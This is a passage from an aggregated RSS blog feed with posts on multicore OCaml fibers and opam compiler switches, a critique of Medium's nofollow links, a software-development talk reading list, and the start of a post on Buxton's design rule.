<p>The program forks new tasks in a depth-first fashion and yields when it reaches
maximum depth, logging the actions along the way. To run the program, first
install multicore OCaml compiler, available from the <a href="https://github.com/ocamllabs/opam-repo-dev">OCaml Labs dev
repo</a>. Once the compiler is
installed, the above test program can be compiled and run as follows:</p>

<figure class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="nv">$ </span>git clone https://github.com/kayceesrk/ocaml-eff-example
<span class="nv">$ </span><span class="nb">cd </span>ocaml-eff-example
<span class="nv">$ </span>make
<span class="nv">$ </span>./concurrent
Starting number 0
Forking number 1
Starting number 1
Forking number 3
Starting number 3
Yielding <span class="k">in </span>number 3
Forking number 2
Starting number 2
Forking number 5
Starting number 5
Yielding <span class="k">in </span>number 5
Forking number 4
Starting number 4
Yielding <span class="k">in </span>number 4
Resumed number 3
Finishing number 3
Finishing number 0
Forking number 6
Starting number 6
Yielding <span class="k">in </span>number 6
Resumed number 5
Finishing number 5
Finishing number 1
Resumed number 4
Finishing number 4
Finishing number 2
Resumed number 6
Finishing number 6</code></pre></figure>

<p>The output illustrates how the tasks are forked and scheduled.</p>

<h2 id="implementation">Implementation</h2>

<h3 id="fibers-for-concurrency">Fibers for Concurrency</h3>

<p>The main challenge in the implementation of algebraic effects is the efficient
management of delimited continuations. In multicore OCaml<sup id="fnref:OW14" role="doc-noteref"><a href="#fn:OW14" class="footnote" rel="footnote">3</a></sup>, the delimited
continuations are implemented using <em>fibers</em>, which are small heap-allocated,
dynamically resized stacks. Fibers represent the unit of concurrency in the
runtime system.</p>

<p>Our continuations are linear (one-shot)<sup id="fnref:Bruggeman96" role="doc-noteref"><a href="#fn:Bruggeman96" class="footnote" rel="footnote">4</a></sup>, in that once captured,
they may be resumed at most once. Capturing a one-shot continuation is fast,
since it involves only obtaining a pointer to the underlying fiber, and
requires no allocation. OCaml uses a calling convention without callee-save
registers, so capturing a one-shot continuation requires saving no more context
than that necessary for a normal function call.</p>

<p>Since OCaml does not have linear types, we enforce the one-shot property at
runtime by raising an exception the second time a continuation is invoked. For
applications requiring true multi-shot continuations (such as probabilistic
programming<sup id="fnref:Kiselyov09" role="doc-noteref"><a href="#fn:Kiselyov09" class="footnote" rel="footnote">5</a></sup>), we envision providing an explicit operation to copy
a continuation.</p>

<p>While continuation based concurrent functional programming runtimes such as
Manticore and MultiMLton use undelimited continuations, our continuations are
delimited. We believe delimited continuations enable complex nested and
hierarchical schedulers to be expressed more naturally due to the fact that
they introduce parent-child relationship between fibers similar to a function
invocation.</p>

<h3 id="running-on-multiple-cores">Running on Multiple Cores</h3>

<p>Multicore OCaml provides support for shared-memory parallel execution. The unit
of parallelism is a <em>domain</em>, each running a separate system thread, with a
relatively small local heap and a single shared heap shared among all of the
domains. In order to distributed the fibers amongst the available domains, work
sharing/stealing schedulers are initiated on each of the domains. The multicore
runtime exposes to the programmer a small set of locking and signalling
primitives for achieving mutual exclusion and inter-domain communication.</p>

<p>The multicore runtime has the invariant that there are no pointers between the
domain local heaps. However, the programmer utilising the effect library to
write schedulers need not be aware of this restriction as fibers are
transparently promoted from local to shared heap on demand. We will have to
save multicore-capable schedulers for another post.</p>
<div class="footnotes" role="doc-endnotes">
  <ol>
    <li id="fn:Eff" role="doc-endnote">
      <p><a href="http://www.eff-lang.org/">Eff</a> <a href="#fnref:Eff" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:Filinski94" role="doc-endnote">
      <p><a href="http://www.diku.dk/hjemmesider/ansatte/andrzej/papers/RM-abstract.html">Representing Monads</a> <a href="#fnref:Filinski94" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:OW14" role="doc-endnote">
      <p><a href="https://ocaml.org/meetings/ocaml/2014/ocaml2014_1.pdf">Multicore OCaml (pdf)</a> <a href="#fnref:OW14" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:Bruggeman96" role="doc-endnote">
      <p><a href="http://www.cs.indiana.edu/~dyb/pubs/call1cc-abstract.html">Representing Control in the presence of One-shot Continuations</a> <a href="#fnref:Bruggeman96" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:Kiselyov09" role="doc-endnote">
      <p><a href="http://okmij.org/ftp/kakuritu/">Embedded domain-specific language HANSEI for probabilistic models and (nested) inference</a> <a href="#fnref:Kiselyov09" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
  </ol>
</div>
]]></content:encoded>
            <author>KC Sivaramakrishnan</author>
        </item>
        <item>
            <title><![CDATA[Medium abuses nofollow]]></title>
            <link>https://captnemo.in/blog/2015/04/06/medium-abuses-nofollow/</link>
            <guid isPermaLink="false">https://captnemo.in/blog/2015/04/06/medium-abuses-nofollow/</guid>
            <pubDate>Mon, 06 Apr 2015 00:00:00 GMT</pubDate>
            <description><![CDATA[Update: Since I published this post, I have changed my opinion somewhat on the matter. This post is quite confrontational and I didn’t mean it to be that way. Medium is not wrong in this matter, but I still think we need to look for better solutions. I have since been working on a proposal/idea that would use machine learning to “solve” this problem, instead of side-stepping it.
I call medium a “mostly good” platform for lazy writers. A lot of people have written about its excellent typography, or it being the next “big publishing platform”. I’ve used medium in the past, and while it does have its benefits, I have stopped using it.
My primary reason was that I already have a blog, where I can control the entire experience. This is the same reason why New York Times does not start publishing articles on Medium.
The other reason is nofollow abuse.
Medium hosts more than 1M indexed pages. It has around 650k users currently by a conservative estimate. Rounding it to 700k to account for other users, collections, and other internal pages, it leaves us with around 300,000 articles on medium.
A basic tenet of the web is linkability. That is what Tim Berners Lee meant when he talked about HyperText:
HyperText is a way to link and access information of various kinds as a web of nodes in which the user can browse at will.
Over time, the web has evolved, and is now not just limited to human users, but to computers as well. This is an important consideration on which the web rests today. The biggest example of this is Google Search, which uses these links to “follow, spider, and index” the web. Google uses this linking information to build a citation index, which gives us the quality of a web page depending on the quality and number of sites that link to it.
If you know a bit or two about SEO, you might have heard of shady backlink techniques, which essentially amount to you getting links from an established site. This often takes the form of user-generated content such as comments and answers.
While fighting spam is important, it is far more important to make sure that web remains linked, that people are credited for the content they create. Medium hosts 300,000 articles published by half a million users, and yet none of these links back to external website, because of something called “rel=nofollow”.
When a link has a rel=nofollow attribute, search engines do not count it as a citation in their index. While this may be the right strategy for comments on a wordpress blog to prevent spam, this is not the right way to move forward if you want to “revolutionize the publishing industry”.
While medium is not as bad as some other sites in this regard (like quora, which even blocks the internet archive), it is very important because it portrays itself as a “publishing platform”. This means, medium is made up of articles, blog posts, with lots of outbound links compared to, for instance, StackOverflow answers (which solved this problem back in 2011).
If you publish content on medium, and provide relevant links for your readers, remember that these links are not considered as relevant by search engines.
Medium has said that this is not a top priority at the moment for them.
I understand completely. Handling spam would be a far more harder problem to solve than just blacklisting all outbound links. But we cannot go this way, if we want an open web. We need publishing platforms that cite content, and not blacklist it. This is why I write content on my own blog, and not on medium.]]></description>
            <content:encoded><![CDATA[<p><strong>Update</strong>: Since I published this post, I have changed my opinion somewhat on the matter. This post is <a href="https://news.ycombinator.com/item?id=9328384">quite confrontational</a> and I didn’t mean it to be that way. Medium is not wrong in this matter, but I still think we need to look for better solutions. I have since been working on a <a href="https://github.com/captn3m0/ideas/blob/master/BADIDEAS.md#-nofollow-enforcer">proposal/idea</a> that would use machine learning to “solve” this problem, instead of side-stepping it.</p>

<p>I call <a href="https://medium.com" rel="nofollow" title="This is a nofollow link">medium</a> a “<em>mostly good</em>” platform for lazy writers. A lot of people have written about its excellent typography, or it being the next “big publishing platform”. I’ve used medium in the past, and while it does have its benefits, I have stopped using it.</p>

<p>My primary reason was that I already have a blog, where I can control the entire experience. This is the same reason why New York Times does not start publishing articles on Medium.</p>

<p>The other reason is nofollow abuse.</p>

<p>Medium hosts more than <a href="https://www.google.co.in/webhp?q=site%3Amedium.com#q=site:medium.com">1M indexed pages</a>. It has around <a href="https://medium.com/editors-picks">650k users</a> currently by <a href="https://www.quora.com/How-many-users-does-Medium-have/answer/Josh-Yang">a conservative estimate</a>. Rounding it to 700k to account for other users, collections, and other internal pages, it leaves us with around 300,000 articles on medium.</p>

<p>A basic tenet of the web is linkability. That is what Tim Berners Lee meant when he talked about HyperText:</p>

<blockquote>
  <p>HyperText is a way to link and access information of various kinds as a web of nodes in which the user can browse at will.</p>
</blockquote>

<p>Over time, the web has evolved, and is now not just limited to human users, but to computers as well. This is an important consideration on which the web rests today. The biggest example of this is Google Search, which uses these links to “follow, spider, and index” the web. Google uses this linking information to build a citation index, which gives us the quality of a web page depending on the quality and number of sites that link to it.</p>

<p>If you know a bit or two about SEO, you might have heard of shady backlink techniques, which essentially amount to you getting links from an established site. This often takes the form of user-generated content such as comments and answers.</p>

<p>While fighting spam is important, it is far more important to make sure that web remains linked, that people are credited for the content they create. Medium hosts 300,000 articles published by half a million users, and yet none of these links back to external website, because of something called “rel=nofollow”.</p>

<p>When a link has a <code class="language-plaintext highlighter-rouge">rel=nofollow</code> attribute, search engines do not count it as a citation in their index. While this may be the right strategy for comments on a wordpress blog to prevent spam, this is not the right way to move forward if you want to “revolutionize the publishing industry”.</p>

<p>While medium is not as bad as some other sites in this regard (like quora, which even blocks the internet archive), it is very important because it portrays itself as a “publishing platform”. This means, medium is made up of articles, blog posts, with lots of outbound links compared to, for instance, StackOverflow answers (which <a href="http://meta.stackexchange.com/questions/111279/remove-nofollow-on-links-deemed-reputable">solved this problem back in 2011</a>).</p>

<p>If you publish content on medium, and provide relevant links for your readers, remember that these links are not considered as relevant by search engines.</p>

<p>Medium has said that this is <a href="https://twitter.com/lenkendall/status/432203084270292992">not a top priority</a> at the moment for them.</p>

<p>I understand completely. Handling spam would be a far more harder problem to solve than just blacklisting all outbound links. But we cannot go this way, if we want an open web. We need publishing platforms that cite content, and not blacklist it. This is why I write content on my own blog, and not on medium.</p>
]]></content:encoded>
            <author>Nemo</author>
        </item>
        <item>
            <title><![CDATA[Opam Switch to Multicore OCaml]]></title>
            <link>https://kcsrk.info/multicore/opam/ocaml/2015/03/25/opam-switch-to-multicore/</link>
            <guid isPermaLink="false">https://kcsrk.info/multicore/opam/ocaml/2015/03/25/opam-switch-to-multicore/</guid>
            <pubDate>Wed, 25 Mar 2015 18:15:00 GMT</pubDate>
            <description><![CDATA[OPAM has a great compiler
switch feature that lets you
simultaneously host several OCaml installations, each with its own compiler
version and a set of installed packages. I wanted to use the power of opam
switch for working with the experimental multicore
OCaml compiler. The key
advantage of doing this is that it lets you easily install packages from the
OPAM repository, while sandboxing it from other OCaml
installations on your system. The post will show how to create OPAM compiler
switch for multicore OCaml.
Install opam-compiler-conf
The first step is to install Gabriel Scherer’s opam-compiler-conf
script which lets you do opam
switches on local installations:
$ git clone https://github.com/gasche/opam-compiler-conf
$ cd opam-compiler-conf
$ mkdir -p ~/.local/bin
$ make BINDIR=~/.local/bin install


This installs the opam-compiler-conf script under ~/.local/bin. Make sure
this directory is under your search path. Now, $opam compiler-conf should
give you the list of available commands.
Build multicore OCaml locally
Typing opam switch should list the compilers currently installed in your
system and those that are available. For instance, here is my setup:
$ opam switch
system  C system  System compiler (4.02.1)
4.02.1  I 4.02.1  Official 4.02.1 release
4.02.0  I 4.02.0  Official 4.02.0 release
4.01.0  I 4.01.0  Official 4.01.0 release
--     -- 3.11.2  Official 3.11.2 release
--     -- 3.12.1  Official 3.12.1 release
--     -- 4.00.0  Official 4.00.0 release
--     -- 4.00.1  Official 4.00.1 release
# 66 more patched or experimental compilers, use '--all' to show


You can easily switch between the installations using opam switch
[system-name]. Let us now install multicore OCaml as a new switch:
$ git clone https://github.com/ocamllabs/ocaml-multicore
$ cd ocaml-multicore
$ opam compiler-conf configure
$ make world
$ opam compiler-conf install
$ eval `opam config env`


The multicore compiler is now installed and has been made the current compiler:
$ opam switch
system                      I system                      System compiler (4.02.1)
4.02.1+local-git-multicore  C 4.02.1+local-git-multicore  Local checkout of 4.02.1 at /Users/kc/ocaml-multicore
4.02.1                      I 4.02.1                      Official 4.02.1 release
4.02.0                      I 4.02.0                      Official 4.02.0 release
4.01.0                      I 4.01.0                      Official 4.01.0 release
--                         -- 3.11.2                      Official 3.11.2 release
--                         -- 3.12.1                      Official 3.12.1 release
--                         -- 4.00.0                      Official 4.00.0 release
--                         -- 4.00.1                      Official 4.00.1 release
# 66 more patched or experimental compilers, use '--all' to show


This can be confirmed by:
$ ocamlc -version
4.02.1+multicore-dev0


which shows the current OCaml bytecode compiler version.
Working with the local switch
Every time you change the compiler source, you need to rebuild the compiler and
reinstall the switch:
# Changed compiler source...
$ make world
$ opam compiler-conf reinstall


The local installation can be removed by opam compiler-conf uninstall.]]></description>
            <content:encoded><![CDATA[<p>OPAM has a great <a href="https://opam.ocaml.org/doc/Usage.html#opamswitch">compiler
switch</a> feature that lets you
simultaneously host several OCaml installations, each with its own compiler
version and a set of installed packages. I wanted to use the power of <code class="language-plaintext highlighter-rouge">opam
switch</code> for working with the experimental <a href="https://github.com/ocamllabs/ocaml-multicore">multicore
OCaml</a> compiler. The key
advantage of doing this is that it lets you easily install packages from the
<a href="http://opam.ocaml.org/">OPAM repository</a>, while sandboxing it from other OCaml
installations on your system. The post will show how to create OPAM compiler
switch for multicore OCaml.</p>

<!--more-->

<h2 id="install-opam-compiler-conf">Install opam-compiler-conf</h2>

<p>The first step is to install Gabriel Scherer’s <a href="https://github.com/gasche/opam-compiler-conf">opam-compiler-conf
script</a> which lets you do opam
switches on local installations:</p>

<figure class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="nv">$ </span>git clone https://github.com/gasche/opam-compiler-conf
<span class="nv">$ </span><span class="nb">cd </span>opam-compiler-conf
<span class="nv">$ </span><span class="nb">mkdir</span> <span class="nt">-p</span> ~/.local/bin
<span class="nv">$ </span>make <span class="nv">BINDIR</span><span class="o">=</span>~/.local/bin <span class="nb">install</span></code></pre></figure>

<p>This installs the <code class="language-plaintext highlighter-rouge">opam-compiler-conf</code> script under <code class="language-plaintext highlighter-rouge">~/.local/bin</code>. Make sure
this directory is under your search path. Now, <code class="language-plaintext highlighter-rouge">$opam compiler-conf</code> should
give you the list of available commands.</p>

<h2 id="build-multicore-ocaml-locally">Build multicore OCaml locally</h2>

<p>Typing <code class="language-plaintext highlighter-rouge">opam switch</code> should list the compilers currently installed in your
system and those that are available. For instance, here is my setup:</p>

<figure class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="nv">$ </span>opam switch
system  C system  System compiler <span class="o">(</span>4.02.1<span class="o">)</span>
4.02.1  I 4.02.1  Official 4.02.1 release
4.02.0  I 4.02.0  Official 4.02.0 release
4.01.0  I 4.01.0  Official 4.01.0 release
<span class="nt">--</span>     <span class="nt">--</span> 3.11.2  Official 3.11.2 release
<span class="nt">--</span>     <span class="nt">--</span> 3.12.1  Official 3.12.1 release
<span class="nt">--</span>     <span class="nt">--</span> 4.00.0  Official 4.00.0 release
<span class="nt">--</span>     <span class="nt">--</span> 4.00.1  Official 4.00.1 release
<span class="c"># 66 more patched or experimental compilers, use '--all' to show</span></code></pre></figure>

<p>You can easily switch between the installations using <code class="language-plaintext highlighter-rouge">opam switch
[system-name]</code>. Let us now install multicore OCaml as a new switch:</p>

<figure class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="nv">$ </span>git clone https://github.com/ocamllabs/ocaml-multicore
<span class="nv">$ </span><span class="nb">cd </span>ocaml-multicore
<span class="nv">$ </span>opam compiler-conf configure
<span class="nv">$ </span>make world
<span class="nv">$ </span>opam compiler-conf <span class="nb">install</span>
<span class="nv">$ </span><span class="nb">eval</span> <span class="sb">`</span>opam config <span class="nb">env</span><span class="sb">`</span></code></pre></figure>

<p>The multicore compiler is now installed and has been made the current compiler:</p>

<figure class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="nv">$ </span>opam switch
system                      I system                      System compiler <span class="o">(</span>4.02.1<span class="o">)</span>
4.02.1+local-git-multicore  C 4.02.1+local-git-multicore  Local checkout of 4.02.1 at /Users/kc/ocaml-multicore
4.02.1                      I 4.02.1                      Official 4.02.1 release
4.02.0                      I 4.02.0                      Official 4.02.0 release
4.01.0                      I 4.01.0                      Official 4.01.0 release
<span class="nt">--</span>                         <span class="nt">--</span> 3.11.2                      Official 3.11.2 release
<span class="nt">--</span>                         <span class="nt">--</span> 3.12.1                      Official 3.12.1 release
<span class="nt">--</span>                         <span class="nt">--</span> 4.00.0                      Official 4.00.0 release
<span class="nt">--</span>                         <span class="nt">--</span> 4.00.1                      Official 4.00.1 release
<span class="c"># 66 more patched or experimental compilers, use '--all' to show</span></code></pre></figure>

<p>This can be confirmed by:</p>

<figure class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="nv">$ </span>ocamlc <span class="nt">-version</span>
4.02.1+multicore-dev0</code></pre></figure>

<p>which shows the current OCaml bytecode compiler version.</p>

<h2 id="working-with-the-local-switch">Working with the local switch</h2>

<p>Every time you change the compiler source, you need to rebuild the compiler and
reinstall the switch:</p>

<figure class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="c"># Changed compiler source...</span>
<span class="nv">$ </span>make world
<span class="nv">$ </span>opam compiler-conf reinstall</code></pre></figure>

<p>The local installation can be removed by <code class="language-plaintext highlighter-rouge">opam compiler-conf uninstall</code>.</p>
]]></content:encoded>
            <author>KC Sivaramakrishnan</author>
        </item>
        <item>
            <title><![CDATA[Blog post on recent talk]]></title>
            <link>https://captnemo.in/blog/2015/03/20/josd-talk/</link>
            <guid isPermaLink="false">https://captnemo.in/blog/2015/03/20/josd-talk/</guid>
            <pubDate>Fri, 20 Mar 2015 00:00:00 GMT</pubDate>
            <description><![CDATA[So I recently did a talk on Joy of Software Development. You can read more about the talk here (link includes slides and list of topics covered). This post is devoted to the references I’d promised to link to in the talk. Since it was an introductory talk, and I didn’t want to bore people to death, I decided to cover lots of topics at a shallow depth, instead of covering a few topics deeply.
This means that I need to post more material for people to follow up on. So, this is that reference blog post. Make sure you have a copy of the slides open as you go through these links.
Update: I also gave this talk (with a few updates) at GeekSkool in October 2015.
Software Development in general
Hiring in software industry is broken
Breadth First Learning
Recommended readings for developers by Jeff Atwood (codinghorror)
Ship v1, even if it sucks
Ship early, ship often
Never rewrite, always refactor by Joel Spolsky
The Joel Test to score a software company.
Software Security
Security is the opposite of obscurity
OWASP Top 10
Software Security course on coursera
CTFTime - See upcoming CTF contests
SmashTheStack - Learn buffer overflow attacks
Nebula Exploit Excercises
Backdoor - Security CTF platform for beginners by SDSLabs
Starting Advice
Use bcrypt
Ask questions on Security.SE
Principle Of Least Privilege
Never trust user input
Agnostic Software Development
What should I do to be language-agnostic?
Seven languages in seven weeks (Book)
Right tool for the job
Language Agnostic
Balance between “right tool for the job” and familiarity
Free and open source development
Why Open Source misses the point of Free Software - by Richard Stallman
Open source definition
Choose a license
What is free software?
Why Free Software Movement is important
Mozilla mission statement
Version Control
Pro Git (Book)
Learn Git in your browser
Hg Init Mercurial tutorial
Difference betweeng Hg and Git
Benefits of git
Must read post on git branching model
Git in 20 commands
Tests
During the talk, I decidedly used the term TDD incorrectly. TDD technically means going test first, but I used it as an introduction to testing in general. This was intentional. The links here will use TDD in the correct sense.
Test Driven Development Tutorial
Why TDD works
How much to cover in tests
Importance of testing - Jeff Atwood
Benefits of going test first
Testing culture at github
Source code I used in talk
REST and APIs
Why was REST a breakthrough
A simple lucid explanation of REST
What API to use
NIH Syndrome
Unix Philosophy
The epic Knuth vs McIlroy story
Zawinski’s Law
http://onethingwell.org/
Wikipedia article on the topic is surprisingly good
Good examples of pipes
Books
These are books i absolutely recommend every software developer to read, in order.
Don’t Make Me Think
The Pragmatic Programmer
Other than these, I recommend reading Code Complete, Mythical Man Month, and everything by Jeff Atwood and Zach Homan, but only after you have read the above 2 books.
How to get better at Software Development?
This is just a small list of topics I cover in a recent blog post. This is only present
in the updated version of the talk which I gave at GeekSkool. You can read the blog
post here to look at the points I make.
Phew. That was a lot of links. If you are ever interested in learning more about software development, feel free to contact me. If you ever feel like chatting with me, I’m usually online at chat.sdslabs.co.]]></description>
            <content:encoded><![CDATA[<p>So I recently did a talk on Joy of Software Development. You can read more about the talk <a href="https://captnemo.in/talks/josd/">here</a> (link includes slides and list of topics covered). This post is devoted to the references I’d promised to link to in the talk. Since it was an introductory talk, and I didn’t want to bore people to death, I decided to cover lots of topics at a shallow depth, instead of covering a few topics deeply.</p>

<p>This means that I need to post more material for people to follow up on. So, this is that reference blog post. Make sure you have a copy of the slides open as you go through these links.</p>

<p><em>Update</em>: I also gave this talk (with a few updates) at <a href="https://www.geekskool.com/">GeekSkool</a> in October 2015.</p>

<h2 id="software-development-in-general">Software Development in general</h2>
<ul>
  <li><a href="http://sockpuppet.org/blog/2015/03/06/the-hiring-post/">Hiring in software industry is broken</a></li>
  <li><a href="http://c2.com/cgi/wiki?BreadthFirstLearning">Breadth First Learning</a></li>
  <li><a href="http://blog.codinghorror.com/recommended-reading-for-developers/">Recommended readings for developers</a> by Jeff Atwood (codinghorror)</li>
  <li><a href="http://blog.codinghorror.com/version-1-sucks-but-ship-it-anyway/">Ship v1, even if it sucks</a></li>
  <li><a href="https://web.archive.org/web/20160504181428/http://mstrick.com/ship-early-and-often/">Ship early, ship often</a></li>
  <li><a href="http://www.joelonsoftware.com/articles/fog0000000069.html">Never rewrite, always refactor</a> by Joel Spolsky</li>
  <li><a href="http://www.joelonsoftware.com/articles/fog0000000043.html">The Joel Test</a> to score a software company.</li>
</ul>

<h2 id="software-security">Software Security</h2>
<ul>
  <li><a href="https://news.ycombinator.com/item?id=9164895">Security is the opposite of obscurity</a></li>
  <li><a href="https://owasp.org/www-project-top-ten/">OWASP Top 10</a></li>
  <li><a href="https://class.coursera.org/softwaresec-002">Software Security</a> course on coursera</li>
  <li><a href="https://ctftime.org">CTFTime</a> - See upcoming CTF contests</li>
  <li><a href="http://io.smashthestack.org/">SmashTheStack</a> - Learn buffer overflow attacks</li>
  <li><a href="https://exploit-exercises.lains.space/nebula/">Nebula Exploit Excercises</a></li>
  <li><a href="https://backdoor.sdslabs.co/">Backdoor</a> - Security CTF platform for beginners by SDSLabs</li>
</ul>

<h3 id="starting-advice">Starting Advice</h3>

<ul>
  <li><a href="http://codahale.com/how-to-safely-store-a-password/">Use bcrypt</a></li>
  <li><a href="http://security.stackexchange.com/">Ask questions on Security.SE</a></li>
  <li><a href="http://c2.com/cgi/wiki?PrincipleOfLeastPrivilege">Principle Of Least Privilege</a></li>
  <li><a href="http://stackoverflow.com/a/2794089/368328">Never trust user input</a></li>
</ul>

<h2 id="agnostic-software-development">Agnostic Software Development</h2>

<ul>
  <li><a href="http://programmers.stackexchange.com/questions/1189/what-should-i-do-to-be-language-agnostic">What should I do to be language-agnostic?</a></li>
  <li><a href="https://pragprog.com/book/btlang/seven-languages-in-seven-weeks">Seven languages in seven weeks</a> (Book)</li>
  <li><a href="http://c2.com/cgi/wiki?PickTheRightToolForTheJob">Right tool for the job</a></li>
  <li><a href="http://c2.com/cgi/wiki?LanguageAgnostic">Language Agnostic</a></li>
  <li><a href="http://programmers.stackexchange.com/questions/64701/balance-between-right-tool-for-the-job-and-familiarity">Balance between “right tool for the job” and familiarity</a></li>
</ul>

<h2 id="free-and-open-source-development">Free and open source development</h2>

<ul>
  <li><a href="https://www.gnu.org/philosophy/open-source-misses-the-point.html">Why Open Source misses the point of Free Software</a> - by Richard Stallman</li>
  <li><a href="http://opensource.org/osd-annotated">Open source definition</a></li>
  <li><a href="http://choosealicense.com/">Choose a license</a></li>
  <li><a href="https://www.gnu.org/philosophy/free-sw.html">What is free software?</a></li>
  <li><a href="http://www.wired.com/2013/09/why-free-software-is-more-important-now-than-ever-before/">Why Free Software Movement is important</a></li>
  <li><a href="https://www.mozilla.org/en-US/mission/">Mozilla mission statement</a></li>
</ul>

<h2 id="version-control">Version Control</h2>

<ul>
  <li><a href="http://git-scm.com/book/en/v2">Pro Git</a> (Book)</li>
  <li><a href="https://try.github.io/levels/1/challenges/1">Learn Git in your browser</a></li>
  <li><a href="https://web.archive.org/web/20180926172759/http://hginit.com/">Hg Init</a> Mercurial tutorial</li>
  <li><a href="http://stackoverflow.com/questions/35837/what-is-the-difference-between-mercurial-and-git">Difference betweeng Hg and Git</a></li>
  <li><a href="https://z.github.io/whygitisbetter/">Benefits of git</a></li>
  <li><a href="http://nvie.com/posts/a-successful-git-branching-model/">Must read post on git branching model</a></li>
  <li><a href="https://www.kernel.org/pub/software/scm/git/docs/everyday.html">Git in 20 commands</a></li>
</ul>

<h2 id="tests">Tests</h2>

<p>During the talk, I decidedly used the term TDD incorrectly. TDD technically means going test first, but I used it as an introduction to testing in general. This was intentional. The links here will use TDD in the correct sense.</p>

<ul>
  <li><a href="http://code.tutsplus.com/tutorials/beginning-test-driven-development-in-python--net-30137">Test Driven Development Tutorial</a></li>
  <li><a href="http://programmers.stackexchange.com/questions/41409/why-does-tdd-work">Why TDD works</a></li>
  <li><a href="http://programmers.stackexchange.com/questions/66480/when-is-it-appropriate-to-not-unit-test">How much to cover in tests</a></li>
  <li><a href="http://blog.codinghorror.com/i-pity-the-fool-who-doesnt-write-unit-tests/">Importance of testing</a> - Jeff Atwood</li>
  <li><a href="http://sd.jtimothyking.com/2006/07/11/twelve-benefits-of-writing-unit-tests-first/">Benefits of going test first</a></li>
  <li><a href="https://leif.me/on-testing-culture-in-github-projects/">Testing culture at github</a></li>
  <li><a href="https://github.com/captn3m0/talks/blob/gh-pages/josd/code/code2.js">Source code I used in talk</a></li>
</ul>

<h2 id="rest-and-apis">REST and APIs</h2>

<ul>
  <li><a href="https://www.quora.com/How-did-Roy-Fieldings-introduction-of-REST-in-his-2000-doctoral-thesis-impact-the-internet">Why was REST a breakthrough</a></li>
  <li><a href="http://www.looah.com/source/view/2284">A simple lucid explanation of REST</a></li>
  <li><a href="http://www.programmableweb.com/">What API to use</a></li>
  <li><a href="http://c2.com/cgi/wiki?NotInventedHere">NIH Syndrome</a></li>
</ul>

<h2 id="unix-philosophy">Unix Philosophy</h2>

<ul>
  <li>The epic <a href="http://www.leancrew.com/all-this/2011/12/more-shell-less-egg/#fnref:pipe">Knuth vs McIlroy</a> story</li>
  <li><a href="http://www.catb.org/jargon/html/Z/Zawinskis-Law.html">Zawinski’s Law</a></li>
  <li><a href="http://onethingwell.org/">http://onethingwell.org/</a></li>
  <li><a href="https://en.wikipedia.org/wiki/Unix_philosophy">Wikipedia article</a> on the topic is surprisingly good</li>
  <li><a href="http://unix.stackexchange.com/questions/30759/whats-a-good-example-of-piping-commands-together">Good examples of pipes</a></li>
</ul>

<h2 id="books">Books</h2>
<p>These are books i absolutely recommend every software developer to read, in order.</p>

<ol>
  <li><a href="http://blog.codinghorror.com/dont-make-me-think-second-edition/">Don’t Make Me Think</a></li>
  <li><a href="https://pragprog.com/titles/tpp20/the-pragmatic-programmer-20th-anniversary-edition/">The Pragmatic Programmer</a></li>
</ol>

<p>Other than these, I recommend reading Code Complete, Mythical Man Month, and everything by Jeff Atwood and Zach Homan, but only after you have read the above 2 books.</p>

<h2 id="how-to-get-better-at-software-development">How to get better at Software Development?</h2>
<p>This is just a small list of topics I cover in a recent blog post. This is only present
in the updated version of the talk which I gave at GeekSkool. You can read the blog
post <a href="https://captnemo.in/blog/2015/10/12/get-better-at-software-development/">here</a> to look at the points I make.</p>

<hr />

<p>Phew. That was a lot of links. If you are ever interested in learning more about software development, feel free to <a href="https://captnemo.in/contact/">contact me</a>. If you ever feel like chatting with me, I’m usually online at <a href="https://chat.sdslabs.co">chat.sdslabs.co</a>.</p>

]]></content:encoded>
            <author>Nemo</author>
        </item>
        <item>
            <title><![CDATA[Buxton's Rule]]></title>
            <link>https://captnemo.in/blog/2015/03/08/buxtons-rule/</link>
            <guid isPermaLink="false">https://captnemo.in/blog/2015/03/08/buxtons-rule/</guid>
            <pubDate>Sun, 08 Mar 2015 00:00:00 GMT</pubDate>
            <description><![CDATA[I consider myself a UX enthusiast. I consider that term to aptly describe my interest in UX. As I’m deeply involved in many UX and design decisions, I try to be well read on design and UX principles. While reading a discussion about iPhone prototypes on HN in June ‘12, I came across this comment:
Goes to show what it takes to achieve excellence: lots of trial and error. Produce at least 3 alternatives for every design decision (Bill Buxton agrees).
— mstuherl
It sounded so basic, yet often I see designers trying to defend their first design, because it seems good enough to them. No good design is ever born at the first step. Just like any other process, it takes multiple iterations to perfect it.
I recently got in touch with Morgan (mstuherl on HN), and thanked him for his comment. Here’s what he said when I told him I wanted to dub it mstuherl’s rule:
Hah! My name’s Morgan, so you can call it Morgan’s Rule if you like, but it comes from Bill, so Buxton’s rule would be more appropriate. His book Sketching User Experience contains yet more wisdom!
So thats what I’m calling it:
Further Reading
Iteration in the Design of the Human-Computer Interface - Bill Buxton
Sketching User Experiences by Bill Buxton
Don’t Make Me Think by Steve Krug (My first recommendation to every software dev/designer)]]></description>
            <content:encoded><![CDATA[<p>I consider myself a UX enthusiast. I consider that term to aptly describe my interest in UX. As I’m deeply involved in many UX and design decisions, I try to be well read on design and UX principles. While reading a discussion about <a href="http://www.cultofmac.com/181782/every-iphone-prototype-apple-ever-made-before-released-the-first-iphone-gallery/" title="Every iPhone Prototype Apple ever made before releasing the first iPhone">iPhone prototypes</a> on <a href="https://news.ycombinator.com/item?id=4312460" title="Hacker News Discussion">HN</a> in June ‘12, I came across this comment:</p>

<blockquote>
  <p>Goes to show what it takes to achieve excellence: lots of trial and error. Produce at least 3 alternatives for every design decision (Bill Buxton agrees).</p>

  <p>— <a href="https://news.ycombinator.com/item?id=4312953">mstuherl</a></p>
</blockquote>

<p>It sounded so basic, yet often I see designers trying to defend their first design, because it seems good enough to them. No good design is ever born at the first step. Just like any other process, it takes multiple iterations to perfect it.</p>

